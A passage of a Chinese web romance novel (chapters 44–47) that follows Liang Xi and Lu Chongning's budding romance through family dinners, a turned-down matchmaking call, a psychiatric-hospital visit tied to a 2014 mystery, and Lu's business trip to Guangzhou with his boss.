去洗手间找来抹布,梁喜给沙发里外全擦了一遍,对路崇宁说:“坐上试试。”
下午在家居市场,只有她自己试了。
路崇宁坐过去,“嗯,挺软的。”
“躺着腿能伸开吧?”
他比量一下,“能。”
梁喜也过去坐,“起开,我躺下试试。”
说完她转身放倒,没成想直接磕到路崇宁的腿,上与下的眼神在半空交汇,势均力敌谁也不让。
梁喜一顿,“不是让你起来吗?”
“给你当枕头。”
“太硌了。”
此话违心,梁喜就喜欢这款
梁墨第二天早早到工作室等梁喜下班,自从路崇宁开车后梁喜就很少骑自行车了,不过今晚信航送他俩,他让路崇宁下班直接回家就行。
在菜市场买了一堆火锅食材,信航和梁墨双手都提满了。
“姐,为了迎接我也不用准备这么丰盛啊,受宠若惊。”
梁喜难得笑得温柔,“珍惜吧,这是近期我家吃得最丰盛的一顿,我和路崇宁平时吃得很简单。”
梁墨咽咽唾沫,“方便面有吗?”
“没有。”
梁墨沉沉叹口气,转头问信航:“哥,你家还有地方吗?”
“有,但不接收小屁孩儿。”
“”
回家把锅支上,食材摆上,水开后蕃茄味锅底料下锅,没一会儿屋里便飘满香气。
“信航,你给路崇宁打电话,让他带上来几瓶可乐。”
“我下去买吧。”
“不用,路崇宁这会儿差不多到楼下了,你快打。”
“行。”
这一路梁喜除了付钱,就没摆弄过手机,可她还是对路崇宁回家的时间精准掌握
电话拨过去,信航问:“到哪了?”
“马上到楼下。”
还真准。
“喜喜让你买几瓶可乐。”
“好,还买什么吗?”
“没了。”
梁墨正在客厅亲测他未来几天睡眠的舒适度,信航走过去,羡慕地看着他,说:“你姐对你多好啊,我来都得和小宁挤一张床,为了迎接你,她昨天去家居市场特意新买的沙发。”
“拉倒吧哥,我挨的揍不比你少。”
信航不认,“说你自己,别拉上我,喜喜不打我。”
“诶呀呀!咱俩谁不知道谁!”
“你还是顾自己吧,崔影一会儿也来。”
梁墨“嗷呜”一声跑去厨房,“影姐来吗?”
“来。”
“我现在打包滚来得及吗?”
“来不及了。”
这时有人开门进来,两个,路崇宁身后跟着崔影,说到就到。
梁喜给崔影拿她新买的拖鞋,“店里人多吗?”
“学生放假了,不多。”
崔影进屋直奔梁喜身后,在梁墨脸上掐了几把,“好久不见呐,小弟弟,又长高了。”
梁墨只有一七二,身高是他的痛处,“大可不必当着你身后那位巨人的面夸我。”
崔影追着掐,梁墨四处躲,玩闹间梁喜撞到路崇宁,差点站不稳,被他从身后环抱住,退无可退。
“别闹了,吃饭!”
梁喜假装无事发生,把几个人往餐桌处赶,崔影意味深长地看了路崇宁一眼,他知道崔影
什么意思,躲开目光回屋换衣服。
有外人在,信航不好光着,跟路崇宁到他那屋也换了一身,还不忘把门关严。
“小宁,马有原他妹妹查到了。”
路崇宁放下叠了一半的牛仔裤。
“确实在安北县的精神病院呢,住了好多年,住院费按时交,只多不少,但没人去看过。”
“从哪年开始住的?”
信航眼神飘忽,“2014。”
又是那一年
“咚咚!”梁墨敲门,“吃饭了!我两位哥哥。”
“来了!”
信航抓紧换完衣服,跟路崇宁一起出去。
吃饭的时候梁喜一左一右是崔影和信航,刚坐好,崔影站起来对路崇宁说:“咱俩换一下,我给小弟上上课。”
不知怎么,路崇宁和梁喜对视一眼,两人心里都感觉崔影是故意的
“影姐,我都放假了,别让我再听到上课两个字了行吗?”
“你不是让喜喜帮你谈恋爱出谋划策吗?她没谈过,屁都不懂,还是我教你吧。”
肉熟了,梁喜给崔影、梁墨相继夹了一块,信航早早端着碗等,梁喜这才给他夹了一块。
崔影见路崇宁碗中空空,替他打抱不平,“喜喜,路崇宁怎么没有啊?”
“噢。”
梁喜又给他夹,只是筷子张得角度有点大的,一下夹上来三块肉,全都落进路崇宁碗里。
这顿饭吃得分外欢快,崔影在那边认真授课,奈何梁墨这个直男不上道,好几个问题答得差点把崔影气死。
“我都不知道我做错什么她就生气了,你们女生怎么动不动就爱生气呢!”
梁墨一句话引得崔影和梁喜同时看他,眼神不太友好。
崔影长出一口气,耐着性子问:“比如呢?”
“比如之前有个女生追我,我都没搭理她,但是我女朋友还是生气了。”
“比如成立吗?”
“影姐!”
围观的几个人忍不住笑,平心而论梁墨长得还不错,很清秀,要是个子再高一点就好了。
崔影言归正传,“你确定没理追你那个女生吗?信息没发?电话没打?”
梁喜听着听着感觉不对劲,怎么好像瞄着路崇宁说呢?话里有话啊。
梁墨被崔影说得一阵心虚,低下头往嘴里炫肉,崔影踢他凳子,“哑巴了?”
“发信息也没说什么,礼貌回复嘛。”
“错,就不该回,除非你想当海王,难怪你女朋友生气呢。”
“懂了懂了,谢影姐悉心教导。”
梁墨放下筷子站起来,给崔影倒了一杯诚意满满的椰汁。
信航这边听得津津有味,路崇宁却起身去后阳台抽烟,信航见他拿烟盒,自己的瘾上来,也跟过去。
崔影冲梁喜眨眼,“心虚了。”
“别闹。”
吃完晚饭,崔影和信航各回各家,梁墨吃撑了,求梁喜陪他下楼打羽毛球。
小区里一大半区域都被孩子占领,梁喜带梁墨去她小时候的秘密基地,那里和外面街道只有一墙之隔,只要别太用力,球不会打到外面。
两人玩的时候路崇宁在一旁抽烟观战,顺便帮忙记比分,梁墨打得满头是汗,问他:“小宁哥,几比几了?”
“十比十五。”
“谁十啊?”
“你。”
球被梁喜打过去,梁墨却放下胳膊要去质问裁判公平性,梁喜没想到他临时起意又接球,没防备,球照她眼睛飞过来,直接命中。
在梁墨愣神的时候路崇宁把烟扔了直接跑过去,询问好几遍有没有事,梁喜揉了几下右眼,手拿开,眼泪因为酸痛不受控制地下来。
“姐,打哪了?对不起,对不起。”
“没事,没打着眼球。”
梁喜把眼泪擦掉,眼睛眨了眨,眼前模糊的东西又变得清晰了。
路崇宁看着心疼,完全不顾及梁墨在场,轻抚梁喜的头,忽然听见梁墨问:“你俩干啥呢?”
两人迅速分开,梁喜虽然眼睛一睁一闭,还是用球拍精准地打到梁墨屁股,“你脑子里除了谈恋爱还有别的吗?”
“姐,我错了!姐!”
梁墨的惨叫声把树上的鸟惊得飞起来,路崇宁回到刚才坐的地方,捡起还在燃烧的半支烟,盯着看了半天。
就在刚刚,他忽然意识到无论梁喜叫他多少声“哥”,他都没法单纯把梁喜当妹。
心里有鬼迟早露出马脚,而他已经开始不自控了
打完球天完全黑下来,因为路崇宁的偏向,比赛最终以梁墨三局全输告终。
装好球拍往家走,梁墨突然跟梁喜说:“我爸谈恋爱了,那个女人叫“蒙蒙”,我爸好像特别喜欢她,我快有后妈了。”
路崇宁听了眉头一皱,蒙蒙这名字好熟,他公司财务有一个女的大名叫“李蒙”,同事叫她蒙蒙或者蒙蒙姐。
梁喜安慰梁墨,“三叔年纪不小了,想找一个稳定的一起安度晚年。”
“你是没看见我爸不值钱那样,老年人的恋爱脑挺吓人。”
“你的恋爱脑也把我吓得不轻。”
梁墨一顿,“这玩意儿遗传吗?”
梁喜笑笑,“谁知道。”
梁墨说出自己的担心,“那女的好像年纪不大,万一他俩再生一个怎么办?要是妹妹还好,如果是弟弟,我可没信心跟他和平相处,像你和小宁哥关系这么好的,全世界找不出几家。”
在梁墨话后是一段沉默,梁喜不想就他理解的那种关系回应什么,路崇宁也一样。
第45章 第四十五章 替她拒绝相亲。
梁墨在梁喜家待了四天后被梁辰景亲自上门带回家, 他对唯一的儿子很疼爱,平时生活费给得充足,梁喜见梁墨这几天花钱大手大脚, 问了一句才知道, 梁墨每个月竟然有四千块生活费。
送走梁墨,梁喜把沙发床收回去, 变成正常坐的沙发, 又把家里各个角落收拾一遍, 等路崇宁晚上回到家的时候梁喜正躺在沙发上看电影, 穿着短裤和吊带, 很清凉。
见路崇宁回来,梁喜把腿往回缩,给他腾地方。
“今天下班这么晚。”
“嗯, 项目上有点事,我过去处理一下,回来在楼下顺便把头发剪了。”
“吃饭了吗?”
“吃了。”
梁喜把手中刚咬了一口的苹果递给他,路崇宁接过就吃。
“在哪剪的头发?”
利落的板寸, 是梁喜喜欢的发型。
“就你带我去的那家, 给你会员卡充了五百, 你记得用。”
梁喜踹他一脚, “浪费钱, 我半年都不进一次理发店。”
路崇宁面色痛苦地捂住腰, 装疼手到擒来。
“我可没用力。”
“寸劲儿。”
梁喜有点犯含糊,坐起来拨开他手, “哪疼?”
“我想想。”
现想啊?
梁喜还要踹,被路崇宁一把捏住脚踝,顺势将她双脚放在自己腿上, 身子后仰,倚着靠背吃苹果,视线转到电脑屏幕,而梁喜的视线却落在她的脚踝处,那里搭着路崇宁的手。
“什么动画片?”他问。
梁喜缓神,“一人之下,动漫,里面有个叫“王也”的道士特别帅。”
“你喜欢道士?”
她摇摇头,“我单纯喜欢长得帅的。”
“噢~”
虽然阴阳怪气,但梁喜转去看路崇宁的侧脸,高挺的鼻梁和刚才的话完美拼合,梁喜动动脚趾,“噢什么?”
“所以许京平没戏。”
梁喜不想跟他聊许京平,指着屏幕里的长发女孩儿说:“她叫宝儿姐,很飒。”
路崇宁盯着屏幕,吃苹果很小口,不像他平时吃东西的样子,梁喜看不下去,说:“你就大口吃呗,怕什么?”
“有声,影响你。”
“没事。”
得到梁喜允许,路崇宁这才放开,很快把苹果吃完。
他俯身扔果核的时候看见电脑后面梁喜的手机亮了,拿起来递给梁喜,“唐姨电话。”
“你接吧,外放。”
路崇宁接起电话,点开免提放桌上,又把电脑音量关掉。
“唐姨。”
梁喜的声音比刚才和路崇宁说话时甜多了。
“喜喜,干嘛呢?”
“没事,待着。”
“唐姨想给你介绍个对象,市场老板家的儿子,家里条件好,他儿子和你同岁,前几天刚回化城,听他爸那意思回来接班的。”
梁喜和路崇宁相视一眼,蹬开他坐起来,拿过电话,“唐姨我暂时不考虑”
“先别着急拒绝啊,起码见一面,唐姨可都把你的情况跟人家说了,看过你照片,特别满意。”
路崇宁还盯着无声的动漫画面。
“行,那”
梁喜话没说完,手机被路崇宁一把夺过,走去自己卧室。
虽然梁喜知道路崇宁不会对唐姨说不礼貌的话,但她好奇路崇宁怎么拒绝。
两分钟左右,路崇宁从卧室出来,把手机还给梁喜,“我帮你推了。”
“怎么推的?”
“我说你不喜欢男的。”
“路崇宁!”
梁喜吼了声。
路崇宁居高临下地挑挑眉,“不叫哥了?”
“”
他坐到沙发上,“我说有个更厉害的追你,唐姨平衡了一下实力,觉得菜市场老板的儿子有点逊色,让你以那个厉害的为主。”
“许京平知道你被他这么利用吗?”
“你可以告诉他。”
“我从不主动给他发信息,再说你不有他微信吗?要说你自己说。”
“我从不给他发信息。”
两句差不多的话,意思却相差甚远。
梁喜合上电脑,动漫里的声音一下子消失,屋里变得格外安静,她盘腿而坐,意味深长地看着路崇宁,“既然你对许京平评价这么高,看来我有必要考虑一下。”
刚才还洋洋得意的路崇宁一瞬间蔫了,“你是认真的吗?”
“你跟唐姨说那些话是认真的吗?”
锋利从路崇宁眼里消失,转而是无尽的空洞,“不是。”
认识这么多年,路崇宁很清楚梁喜发火的临界点在哪,只是有时他能刹住,有时却控制不了自己。
忽然梁喜看到什么,凑近路崇宁,他一动不动,隐隐有所期待。
只见梁喜伸手从他脸上拿走一截头茬,“托尼没给你洗啊?”
路崇宁本以为梁喜生气了,可现在看来并没有,“我不喜欢在外面洗头,劳碌命,受不了被伺候。”
“那咱俩相反,我受得了。”
这回路崇宁反应倒快,“大小姐有何吩咐?”
“给我洗个苹果,我的被你吃了。”
“ok。”
路崇宁去厨房转了一圈,“苹果在哪?”
“不就在餐桌上嘛,它都看见你了。”
打开塑料袋,路崇宁挑了一个最大最红的,洗完要削皮,被梁喜从身后一把拿走,“别费劲。”
她刚咬一口,路崇宁说:“我后天要和老板去一趟广州。”
咀嚼声戛然而止,“他真要认你啊?”
“不是,正常工作出差。”
“去几天?”
“不一定,可能四五天。”
前段时间信航和梁喜私下说过这件事,调侃路崇宁身上自带一种引大人怜爱的魅力,相处下来特想把他当自己的孩子,虽然梁辰义也那样,但他看着路崇宁出生、长大,又和路召庆关系如亲兄弟一般,所以才对路崇宁好,刘总又图什么?单纯因为自己没孩子吗?
反正梁喜觉得匪夷所思。
“那边很热吧?”
“热,三十几度。”
虽然化城偶尔也逼近三十,但化城是干热,广州是湿热,体感不一样。
“多带几件换洗衣服。”
“嗯。”
路崇宁回来几个月了,除了梁喜去德城那次,两人从没分开过,想到他要出差,梁喜心情没来由的低落
咬了几口,梁喜把苹果放到饮水机上,揪住路崇宁后衣领,“衣服怎么开线了?”
这件好像是他从日本带回来的工作服,可能穿久了,有点磨损。
路崇宁回手摸,无奈看不见,只捏到梁喜手指,她先撤走。
“过来,我帮你剪掉。”
路崇宁跟梁喜身后去她那屋,找到剪刀,梁喜说:“你坐床上,我够不着。”
路崇宁乖乖坐下,梁喜单膝跪在床边,顺着线头摸到里侧,用指甲刀一下剪断。
“信航不是给你买了好几件新衣服吗?怎么不穿?”
“这件舒服。”
“出差别穿,让人笑话。”
梁喜揪着衣领,想看看还有没有其他脱线的地方,路崇宁忽然仰头,头发摩擦梁喜的手背,有点扎。
“怎么了?”
梁喜以为自己越距,慢慢撤回的手在路崇宁脖颈划过一道看不见的痕迹。
“没事。”路崇宁站起来,抻抻衣角。
他只是有点受宠若惊,只是喜欢这种被梁喜亲近的触感,没想到惊扰了她
两天后,路崇宁这边出差刚离开化城,梁喜接到信航电话,开始聊的是唐姨要给梁喜介绍对象的事,信航说他妈纯粹闲的,自己的孩子管不了,就去管别人家孩子,还说这两天他要抽时间去一趟安北县的精神病院,找马有原的妹妹,问梁喜哪天放假,要不要一起去。
路崇宁不在,梁喜欣然答应,全当替他出力了。
到约定时间,梁喜特意穿了宽松的T恤和运动短裤,运动鞋,看起来十分松弛。
车窗摇下,信航见她第一句说的是:“咋的?要去跑马拉松啊?”
“你在前面开,我在后边跑,过年之前怎么也到了。”
信航给她开车门,“那我可舍不得。”
“给你买的油条。”
梁喜上车把塑料袋扔给信航。
“对我温柔点行不行?”
“不吃还给我。”
信航赶忙护住,“吃!”
打开塑料袋,信航一口咬掉半根,“你没跟小宁说吧?”
“没说。”
“那就行,怕他在那边惦记,不安心工作。”
“嗯。”
梁喜系完安全带,又把外带的豆浆插上吸管,递给信航,“为什么想去找马有原的妹妹?不是疯了吗?疯子的话有几分可信?”
“听周大爷的描述,马有原混得特别好,家里就这么一个妹妹,为什么一夜之间疯了?他还不管不问,这里面肯定有事儿,就算问不出实质内容,也能找出蛛丝马迹,相信我的直觉。”
“信,快吃吧,吃完好走。”
梁喜什么也没带,只拿了手机,反正信航车上啥都有。
安北县距离化城两百多公里,不堵车的话两个多小时可以开到,一路顺畅,抵达精神病院的时候刚好十点半,下车后信航从后备箱拿出两个礼盒,一盒是牛奶,另一盒是坚果。
“哎呀,真懂事。”
信航不领情,“我咋听着不像夸我呢。”
“真心实意。”
信航笑笑,“走吧,一会儿看我眼色行事,”
他托同事郭超找到医院里面一个工作人员,管行政的,郭超没说信航是警察,而是病人的远房亲戚,过来探望,顺便问问情况。
在一楼联系完,那位工作人员很快从二楼下来,信航嘴特甜地叫了声:“张姐,我是小信。”
小信?梁喜差点笑出声。
“啊,郭超跟我说了,你是他好兄弟,有什么事尽管知会,能帮的一定帮。”
“谢谢张姐。”
她往信航身后看了眼,信航介绍说:“我妹,陪我一起来的。”
梁喜冲张姐笑笑,没说什么。
“跟我来吧,我带你们去见马有平。”
原来叫马有平啊。
张姐边走边介绍,“她是一四年的时候送来的,整个人精神状态很不好,满嘴胡言乱语,这些年虽然没人来探望,但是她家钱不少交,还让她住单间,享受最好的待遇,实不相瞒,你是第一个来看她的人。”
信航问:“谁给她
交的钱啊?”
“你不知道啊?”
信航反应快,“有些事咱也不好问呐,姐。”
“也是,交钱的人叫“王四”,说受人之托,估计是她哥找的吧。”
王四,这名字编得真随意。
坐电梯上到四楼,走到里侧房间门口,信航对梁喜说:“要不你在这等,别吓着你。”
“没事,走吧。”
梁喜想象她会见到一幅什么样的画面,可真切地见到,却和她想象中的完全不同。
第46章 第四十六章 你想我吗?
叫“马有平”的女人虽身着病号服, 可头发却梳得整齐,没有错乱,脸颊也很干净。
听见门外动静她死死盯着玻璃向外看, 紧接着嘴角蔓延一丝诡异的笑, 这才展现和常人的不同。
张姐说:“她一个人待着的时候感觉很清醒,像正常人一样, 一旦见人就不行了, 估计不认识你俩。”
信航:“肯定不认识, 我们隔着好几伏的亲戚, 要不是受人之托我不能来。”
梁喜仔细观察马有平, 发现她不笑了,而是坐在床上向外望。
张姐走到一旁,说:“我不建议你俩进屋, 隔着玻璃看看得了,回去跟亲戚有个交代就成。”
信航装得心情不太好的样子,“她父母都没了,唯一的哥又不管她, 愁啊!”
“张姐跟你说句实在的, 就他们病人这种情况, 家里能给拿钱好吃好喝养着就不错了。”
“也是。”
忽然梁喜“啊”地一声, 信航赶忙把她往身后拉。
原来马有平趁三人说话时跑到门口来, 把梁喜吓一跳。
张姐有点不好意思, “看也看了,要不还是走吧, 去我办公室坐坐。”
“行,姐,麻烦你了。”
信航问梁喜, “没事吧?”
“没事,有点突然。”
梁喜壮着胆子又看了一眼,马有平像什么也没发生一样,在屋里来来回回地走,嘴里念叨什么,奈何隔着门听不清。
张姐见梁喜面露疑惑,告诉她:“常年叨咕那两句,什么杀人了,救救她,放开我之类的话,臆想严重。”
“噢。”
梁喜虽然第一次亲眼见到精神病患者,但在影视剧里看过类似剧情,他们活在自己的世界中,有自己的对话方式。
跟张姐还有信航下到一楼办公室,张姐给拿了两瓶矿泉水,她坐下喝自己煮的养生茶。
“张姐,你这边有马有平直系亲属的联系方式吗?”
“当年住院的时候她哥留了一个,但是是空号。”
信航叹口气,“我还寻思帮她联系联系呢。”
“对了,我这有那个王四的联系方式,每次缴费都是通知他。”
“也行,给我吧。”
信航心里高兴,但表现得勉为其难。
记下电话,信航又跟张姐寒暄几句,套套近乎,临走前跟张姐小声交代,“我过来这件事还麻烦你帮我保密,我爸妈离婚后我爸又再婚了,我爸和后妈托我来办这件事,我妈不让我跟老马家走太近,万一被她我妈知道了,肯定骂我。”
张姐眨眨眼,明显被绕蒙了,但大概明白什么意思,“好,姐帮你保密,不说,不过你今天来得巧,马有平的主治医生今天休息,他和王四认识,平时联系多一些。”
信航有点后怕,“啊,那也别跟他说了,拐弯抹角说不定还能传到我妈耳朵里。”
“放心,姐心里有数。”
从医院出来,梁喜盯着信航看了又看,直到把他看毛。
“怎么了?我脸上有花啊?”
“你这么会演戏不当演员可惜了。”
“为了我兄弟,豁出去了。”
“你兄弟在广州潇洒,你在家里受累。”
“所以说是兄弟呢,有福他享,有难我当。”
梁喜不想再跟信航说下去,整不好一会儿再拉她结拜
返程前,两人在安北县郊的服务区简单吃了一顿午饭,两碗泡面加火腿肠,吃得格外香,完事马不停蹄往回赶,梁喜虽然来去都坐车,可还是有点累,回家把手机调成静音,倒头就睡,一觉睡到晚上六点多才醒。
打开手机看了眼,她“腾”地坐起来,十个未接来电?什么情况?
点进去,发现十个电话都是路崇宁打的,最后一通是两分钟前,她赶紧给回过去,这回换路崇宁不接了
梁喜改发信息:“睡着了,没看见。”
过了大概十分钟路崇宁又打过来,“刚才给老板开车了,没法接。”
“我刚睡醒。”
路崇宁笑了声,“你的假期都被你睡没了。”
梁喜放假最喜欢做的事就是睡觉。
“哪有”
十分心虚。
路崇宁:“起来吃点东西,冰箱里有现成的。”
“你吃了吗?”
“马上要和老板去陪客户。”
“他们会让你喝酒吗?”
“我尽量不喝。”
之前路崇宁滴酒不沾,如果非喝不可的话,一定被逼到了某种程度
“不说了,你去吃饭吧。”
“嗯。”
挂断电话,梁喜朝客厅走去,她不记得冰箱里还有什么吃的,打开一看,发现不仅有青菜和水果,还有几袋速食米粉,喝的则是牛奶,自从路崇宁把啤酒换了,冰箱里就没断过牛奶,每次在库存即将清掉的时候路崇宁又给补满。
不用问,其他东西也是他买的,只是什么时候买的呢?梁喜都没注意。
拿了一袋米粉出来,是她喜欢的拌粉,晚餐吃这个就行了。
挂断电话没多久,梁喜知道路崇宁在忙,却还是忍不住给他发信息,是煮好的米粉,光看图片就要流口水了。
“多吃点。”他说。
“你吃什么?”
路崇宁发了一张照片过来,满桌的海鲜,晃得人口水直流,到底是跟老板出差,伙食就是好。
“多吃点。”梁喜回他一样的话。
信息又进来,梁喜以为还是路崇宁,打开看发现是许京平。
“八月初有个学习交流会,主办方是我朋友,这次会来几个比较资深的老师,你要不要参加?我帮你报名,等参加完这个会还能拿到内推名额,参加下半年的陶艺比赛,在国内比较有含金量,如果能获奖,对你今后发展很有帮助。”
梁喜不知道该怎么回,她想去,又怕路崇宁误会,纠结
“我考虑一下。”
思考半天,梁喜回了这么一句。
“机会难得,我先帮你报上,来不了再说。”
梁喜感觉她被许京平架住了。
关掉手机,梁喜下楼扔垃圾,回来将门反锁,拉上窗帘,找个电影窝床上看。
等将近十点,她下床洗漱,准备睡觉。
刚躺下,路崇宁又打电话来,梁喜猜是不是有事,要不然这电话打得有点频,一点不符合路崇宁的行事风格。
“干嘛?”
“喜喜”
声不对,梁喜眼睛瞪圆,喝酒了?她第一反应是这个。
“陪老板吃完饭了啦?”
“嗯,回酒店了。”
“早点睡。”
梁喜刚想挂,听见路崇宁又说:“你想我吗?”?!她差点从床上掉下去
“我想你了,喜喜。”
这几个字像一道穿堂风,吹得风铃骤响,在某人心头叮铃。
路崇宁说完这句便没了声音,梁喜顶着滚烫的脸叫他名字,没回应,梁喜屏息去听,好像听见了若有若无的呼吸声。
应该是睡着了
梁喜不舍挂断,看着通话界面逐渐变动的秒数,又等了一分钟才挂。
正当路崇宁搅得梁喜春心萌动的时候,第二天,他不认账了。
梁喜问他:“你昨天给我打电话后来睡着了吗?”
“我给你打电话?”
梁喜眼前一黑,紧接着路崇宁又问:“什么时候
打的?”
“你自己看通话记录。”
过了一分钟路崇宁又回信息过来,“我说什么了?”
既然连打电话都不记得,梁喜不可能跟他说电话内容,万一他还不承认怎么办?
“没说什么。”
“昨晚喝醉了,要是说了什么胡话,你别介意。”
“喝多少?”
“好像三瓶。”
一个不喝酒的人,第一次喝这么多足以喝醉。
“我去洗漱,一会儿要跟老板出门,晚上再给你打电话。”
“你先忙。”
梁喜关掉手机,也去忙自己的工作
路崇宁到广州几天,工作方面的正经事一样没干,整天给刘俊华开车,被他带去见各种朋友,应酬各种场合,见的人非富即贵,吃的玩的全是他没见过,有一顿刘俊华买单,路崇宁跟在他身后听了一耳,花了几万块,而这笔钱是几天花销里最少的一次。
第五天应酬完回来,路崇宁问刘俊华:“刘总,有什么工作相关的事要我去谈吗?”
“带你出来见世面也是工作,放轻松,吃好玩好就行。”
路崇宁没法轻松,那些层面的东西不是他深处的世界,更不是他向往的生活,虽然他知道,只要他点点头就可以拥有
“如果没别的事我回化城吧,我妹自己在家,不放心。”
刘俊华有点意外,“这就玩够了?”
路崇宁笑笑,“我对玩的不太感兴趣,如果有工作我就留下,没有的话我还是回去,在这待一天花销不少。”
刘俊华的目光从他脸上一扫而过,“人人都喜欢享受,天上掉馅饼你不想接吗?”
“不是我自己凭本事奋斗来的,我受不起。”
刘俊华缓缓说道,“是不是哪位老板说什么不中听的了?别放心上,以后你接手生意,跟这些人抬头不见低头见,都是能用到的人脉关系,你没听过那句话吗?没有永远的敌人,只有永远的利益。”
路崇宁点点头,“我知道,刘总,但是”
“好了,这次出来可能有点突然,你没做好心理准备,这样,你先回去吧,等林总的女儿从国外回来,我介绍你俩认识。”
“刘总,我有女朋友了。”
“梁喜吗?”
路崇宁什么都不用解释,停顿的动作足以说明一切。
可他在刘俊华面前一向称梁喜为妹妹,别的丝毫不敢表现出来,刘俊华怎么知道?
“梁喜不错,就是太普通了,在有限的范围内你没得选,现在我帮你扩大选择范围,是为了帮你找到更好的、更适合你的另一半,在事业上对你有所助益,让你达到一个新高度,就算有一天出了什么事,还有她家的财权帮你兜底。”
路崇宁站起来,郑重地说:“我只要梁喜,别人都不行。”
“你坐。”
路崇宁不动。
刘俊华招招手,“坐下说,你太高了,我看着眼晕。”
路崇宁这才坐下,低头看向地面,若有所思。
“再过几年你就三十了,三十而立,混出个人样来,什么女人找不到,你呀,就是心不够狠,容易被打动,还得多历练。”
“刘总,这个事不聊了,明天孟总约您打高尔夫,我再陪您一天,后天我回化城,项目上攒了好几个人的事没处理呢。”
刘俊华叹口气,“我知道你短时间内接受不了,我有点急了,咱俩都缓缓,慢慢来。”
既然刘俊华说了软话,路崇宁也得往后让步,毕竟人家才是大老板,又曾给他诸多帮助,不能闹僵。
第47章 第四十七章 家里藏人了?
梁喜还没想好怎么和路崇宁说学习交流会的事, 老王先跟她提了。
“让靖哲跟你一起去,我就不去了,我要和你师娘去天津看儿子。”
“我俩?”
一男一女, 住宿不好安排, 只能开两间房,跟陌生的同性拼房也有可能。
“在哪举办?”
“北京。”
“大城市啊!”
“可不。”
师徒俩相视一笑, 梁喜却没给出准确答复。
“你能去吧?”老王问。
“我家最近有点事, 下班回家和我哥商量商量。”
“行, 没啥要紧事就去吧, 机会难得, 要不是借你光,靖哲都去不上。”
“借我?”
梁喜说完才意识到她多余一问,老王心照不宣笑笑, 从包里掏出一串手串开始盘。
梁喜见这个手串有点熟悉,前两天跟梁墨还有三叔吃饭的时候三叔也拿了一串类似的。
“师父,你和我三叔组团去两元店淘的啊?”
“刘总送的,开过光呢, 给我和你三叔一人一条, 盘着玩呗, 全当修身养性了。”
梁喜见过很多不同年龄段的男人玩这些, 有的手串贵得吓人, 不知道老王手里拿的多少钱, 不过既然是路崇宁老板送的,不会太便宜。
离开老王视线, 梁喜去二楼给路崇宁发信息,简单说了下学习交流会的事,没想到他很快回过来, 说学习是好事,但这次他不能陪,公司有点忙。
诶?怎么不像之前醋哄哄那样了?前天晚上喝醉打电话还说想她,转头还让她参加许京平帮忙报名的交流会,梁喜心里忽然没底
两天后,路崇宁从广州回到化城,去的时候他开了公司那辆沃尔沃,直接停在机场的停车场,打算回来的时候再开回去,刘俊华没跟他一起,正好同一天孟相帆从外地回来,两人在到达大厅碰头。
一段时间没见,孟相帆没什么变化,还是那么瘦黑,但肉眼可见的快乐写了满脸。
“最近和梁喜咋样啊?”
“还行。”
“什么叫还行?”孟相帆有点恨铁不成钢,“你跟她挑明了吗?”
路崇宁挠挠头,“没有。”
“擦!”
路崇宁有自己的考量,“我想等下个月她生日”
“黄瓜菜都凉了,大哥!表白当机立断,你还卡啥时间啊!”
“不能凉。”
“不是说有个条件特别好的男的追她吗?”
“喜喜不喜欢他。”
孟相帆撇撇嘴,“动心是一瞬间的事,万一那男的做了一件让梁喜特别感动的事,你肯定完了!”
路崇宁被孟相帆说得有点拿不准,但嘴硬不认,“晚上想吃什么?”
“把梁喜叫出来一起吃,我帮你敲敲边鼓。”
路崇宁用惊恐的眼神看他,方向盘都不稳了,“你要干嘛?”
“兄弟不能害你,快,打电话问问。”
孟相帆催促两声,路崇宁找到梁喜号码,打过去,手机交给孟相帆让他外放,电话接通后没等路崇宁说话孟相帆先开口,还试图模仿他的声调。
“喂,喜喜。”
梁喜一下拆穿,“你哪位?”
路崇宁憋不住笑,往窗外看。
“我孟相帆。”
“路崇宁怎么了?”
“开车呢,我俩一起回化城。”
“噢。”确认没事,梁喜才说:“你跟我哥来家里吃饭吧。”
“好嘞!”
挂断电话,孟相帆瞥见后座有个礼盒,“什么呀?”
“出差给喜喜带的礼物。”
他抻长脖子往后看,想看清到底是什么东西。
路崇宁主动告诉,“买了个包,她平时总背一个三十块钱的帆布袋。”
“你挑的?审美行吗?”
“别的地方还行,给梁喜的我有点捏不准,怕她不喜欢。”
孟相帆“啧啧”两声,“还有你捏不准的时候。”
路崇宁一路开得很快,孟相帆笑他归心似箭,他没反驳。
实话,没法反驳
从三点半接到路崇宁电话后梁喜活干得格外轻快,听着歌就把活干完了,一句废话没说。
到下班时间,梁喜在茶水间洗杯子,周靖哲过来跟她说:“你哥在门口呢,还有一个男的,留着小胡子。”
梁喜不用看也知道是孟相帆,“我马上走。”
杯子放回原位,梁喜照照镜子,又涂了个唇彩才背包出门。
“喜喜!”
孟相帆喊完被路崇宁拿眼神警告,“叫梁喜。”
音
量垂直下降,“梁喜”
“好久不见。”梁喜笑着和孟相帆打招呼,又看向路崇宁,发现他身上的衣服是新的,裤子是宽松版,把腿衬得更长了,上衣也好看。
“想吃什么?”路崇宁问梁喜。
“让孟相帆选吧,他是客人。”
孟相帆摆手,“自家人,你选,我俩听你的。”
“吃串串?”
“走。”
孟相帆特意走在前面,给路崇宁机会,让他和梁喜“叙旧”
“你怎么回来没提前告诉我?”
路崇宁斜睨她,“家里藏人了?”
“嗯,藏了一个姓路的男人。”
这个回答路崇宁很受用,笑着揽过梁喜肩膀,给她开车门。
孟相帆非常识相地坐到后面,可转头他又不识相地抱起兔子抱枕,还揪兔耳朵玩。
路崇宁系完安全带才发现梁喜两手空空,猛地转过头,“拿来!”
“啥呀?”孟相帆一脸懵逼。
路崇宁没跟他废话,长手一捞,将抱枕抓过去还给梁喜。
孟相帆只能抱着胳膊对窗外哀怨,“嫁出去的兄弟,泼出去的水。”
车子忽然开走,晃得孟相帆五官紧急变形,他发誓一会儿要爆路崇宁的大料才能解气
一家商场的泥锅串串店,在之前买火锅食材的超市楼上。
梁喜想着一会儿吃完饭去超市买点东西,正好路崇宁开车了,可以省点力。
串串店顾客满员,梁喜跟服务员拿了一个等位号,“前面只有一桌,等等吧。”
三人到一旁的椅子那找空位坐,路崇宁坐中间,剩下两位一左一右。
“哪天去北京?”路崇宁问梁喜。
“下个月呢。”
孟相帆赶忙问,“下月几号啊?”
“十九号。”
他又小声问路崇宁,“时间撞了吗?”
路崇宁低头抿手指。
看来是了
叫号器这时呼叫下一桌号码,梁喜赶忙站起来,把小票递给服务员回收,几人跟着往店里走。
梁喜看眼手机,回头跟路崇宁说:“信航还有十多分钟过来。”
“嗯。”
信航建了一个三人小群,名字起得相当直白:“大小姐和两个帅哥。”
